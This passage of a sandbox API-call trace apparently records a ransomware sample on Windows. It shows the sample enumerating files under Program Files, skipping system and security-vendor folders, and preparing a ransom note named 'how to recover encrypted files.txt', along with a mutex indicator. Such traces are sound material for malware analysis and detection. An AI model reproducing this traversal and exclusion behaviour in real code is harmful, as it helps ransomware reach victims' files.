dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\\x18ꮠUÄP⌠R㯸") returned 15 [0056.690] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\", cchLength=0x25 | out: lpsz="c:\\program files\\common files\\system\\") returned 0x25 [0056.690] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=11, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\\x18ꮠUÄP⌠R㯸") returned 11 [0056.690] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\", cchLength=0x25 | out: lpsz="c:\\program files\\common files\\system\\") returned 0x25 [0056.690] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=9, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\\x18ꮠUÄP⌠R㯸") returned 9 [0056.690] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\", cchLength=0x25 | out: lpsz="c:\\program files\\common files\\system\\") returned 0x25 [0056.690] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\\x18ꮠUÄP⌠R㯸") returned 18 [0056.690] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\", cchLength=0x25 | out: lpsz="c:\\program files\\common files\\system\\") returned 0x25 [0056.690] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\\x18ꮠUÄP⌠R㯸") returned 28 [0056.690] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\", cchLength=0x25 | out: lpsz="c:\\program files\\common files\\system\\") returned 0x25 [0056.690] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=10, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\\x18ꮠUÄP⌠R㯸") returned 10 [0056.690] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\", cchLength=0x25 | out: lpsz="c:\\program files\\common files\\system\\") returned 0x25 [0056.690] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=8, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\\x18ꮠUÄP⌠R㯸") returned 8 [0056.690] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\", cchLength=0x25 | out: lpsz="c:\\program files\\common files\\system\\") returned 0x25 [0056.690] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=9, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\\x18ꮠUÄP⌠R㯸") returned 9 [0056.691] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\", cchLength=0x25 | out: lpsz="c:\\program files\\common files\\system\\") returned 0x25 [0056.691] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18e0c4, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\\x18ꮠUÄP⌠R㯸") returned 13 [0056.691] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.691] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.691] GlobalUnlock (hMem=0x44000c) returned 0 [0056.691] GlobalLock (hMem=0x44000c) returned 0x54f168 [0056.691] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.691] GlobalHandle (pMem=0x54f168) returned 0x44000c [0056.691] GlobalUnlock (hMem=0x44000c) returned 0 [0056.691] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.691] GlobalUnlock (hMem=0x440004) returned 0 [0056.691] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\*.*", lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e180 [0056.692] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.692] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ado", cAlternateFileName="")) returned 1 [0056.692] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf4f1c09, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xbf4f1c09, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x128ffb00, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0056.692] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f108 | out: lpLocalFileTime=0x18f108) returned 1 [0056.692] FileTimeToDosDateTime (in: lpFileTime=0x18f108, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0056.692] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.692] CharLowerBuffW (in: lpsz="DirectDB.dll", cchLength=0xc | out: lpsz="directdb.dll") returned 0xc [0056.692] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lð\x18", lpUsedDefaultChar=0x0) returned 1 [0056.692] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lð\x18", lpUsedDefaultChar=0x0) returned 1 [0056.692] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dð\x18", lpUsedDefaultChar=0x0) returned 1 [0056.692] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ð\x18", lpUsedDefaultChar=0x0) returned 1 [0056.692] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bð\x18", lpUsedDefaultChar=0x0) returned 1 [0056.692] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dð\x18", lpUsedDefaultChar=0x0) returned 1 [0056.692] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tð\x18", lpUsedDefaultChar=0x0) returned 1 [0056.692] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cð\x18", lpUsedDefaultChar=0x0) returned 1 [0056.692] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eð\x18", lpUsedDefaultChar=0x0) returned 1 [0056.692] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rð\x18", lpUsedDefaultChar=0x0) returned 1 [0056.692] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ið\x18", lpUsedDefaultChar=0x0) returned 1 [0056.692] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dð\x18", lpUsedDefaultChar=0x0) returned 1 [0056.692] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18e0a4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0056.693] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\System\\DirectDB.dll", cchWideChar=49, lpMultiByteStr=0x18e080, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\System\\DirectDB.dll", lpUsedDefaultChar=0x0) returned 49 [0056.693] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0056.693] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18e0a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllectDB.dll", lpUsedDefaultChar=0x0) returned 4 [0056.693] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0056.693] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadc", cAlternateFileName="")) returned 1 [0056.693] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI", cAlternateFileName="")) returned 1 [0056.693] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1 [0056.693] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5390a1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xcc5390a1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xd8800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0056.693] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0056.693] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0056.693] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.693] CharLowerBuffW (in: lpsz="wab32.dll", cchLength=0x9 | out: lpsz="wab32.dll") returned 0x9 [0056.694] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lð\x18", lpUsedDefaultChar=0x0) returned 1 [0056.694] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lð\x18", lpUsedDefaultChar=0x0) returned 1 [0056.694] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dð\x18", lpUsedDefaultChar=0x0) returned 1 [0056.694] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ð\x18", lpUsedDefaultChar=0x0) returned 1 [0056.694] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2ð\x18", lpUsedDefaultChar=0x0) returned 1 [0056.694] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3ð\x18", lpUsedDefaultChar=0x0) returned 1 [0056.694] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bð\x18", lpUsedDefaultChar=0x0) returned 1 [0056.694] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="að\x18", lpUsedDefaultChar=0x0) returned 1 [0056.694] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wð\x18", lpUsedDefaultChar=0x0) returned 1 [0056.694] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18e0a4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0056.694] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\System\\wab32.dll", cchWideChar=46, lpMultiByteStr=0x18e080, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\System\\wab32.dllo", lpUsedDefaultChar=0x0) returned 46 [0056.694] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0056.694] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18e0a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dll32.dllo", lpUsedDefaultChar=0x0) returned 4 [0056.694] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 1 [0056.694] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0056.694] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0056.694] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.694] CharLowerBuffW (in: lpsz="wab32res.dll", cchLength=0xc | out: lpsz="wab32res.dll") returned 0xc [0056.695] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lð\x18", lpUsedDefaultChar=0x0) returned 1 [0056.695] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lð\x18", lpUsedDefaultChar=0x0) returned 1 [0056.695] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dð\x18", lpUsedDefaultChar=0x0) returned 1 [0056.695] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ð\x18", lpUsedDefaultChar=0x0) returned 1 [0056.695] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sð\x18", lpUsedDefaultChar=0x0) returned 1 [0056.695] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eð\x18", lpUsedDefaultChar=0x0) returned 1 [0056.695] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rð\x18", lpUsedDefaultChar=0x0) returned 1 [0056.695] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2ð\x18", lpUsedDefaultChar=0x0) returned 1 [0056.695] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3ð\x18", lpUsedDefaultChar=0x0) returned 1 [0056.695] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bð\x18", lpUsedDefaultChar=0x0) returned 1 [0056.695] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="að\x18", lpUsedDefaultChar=0x0) returned 1 [0056.695] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18e09c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wð\x18", lpUsedDefaultChar=0x0) returned 1 [0056.695] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18e0a4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0056.695] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\System\\wab32res.dll", cchWideChar=49, lpMultiByteStr=0x18e080, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\System\\wab32res.dll", lpUsedDefaultChar=0x0) returned 49 [0056.695] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0056.695] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18e0a4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dll32res.dll", lpUsedDefaultChar=0x0) returned 4 [0056.695] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 0 [0056.695] GetLastError () returned 0x12 [0056.695] FindClose (in: hFindFile=0x54e180 | out: hFindFile=0x54e180) returned 1 [0056.696] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\*.*", lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e180 [0056.697] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f108 | out: lpLocalFileTime=0x18f108) returned 1 [0056.697] FileTimeToDosDateTime (in: lpFileTime=0x18f108, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0056.697] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.697] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.697] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0056.697] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0056.697] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.697] FindNextFileW (in: hFindFile=0x54e180, 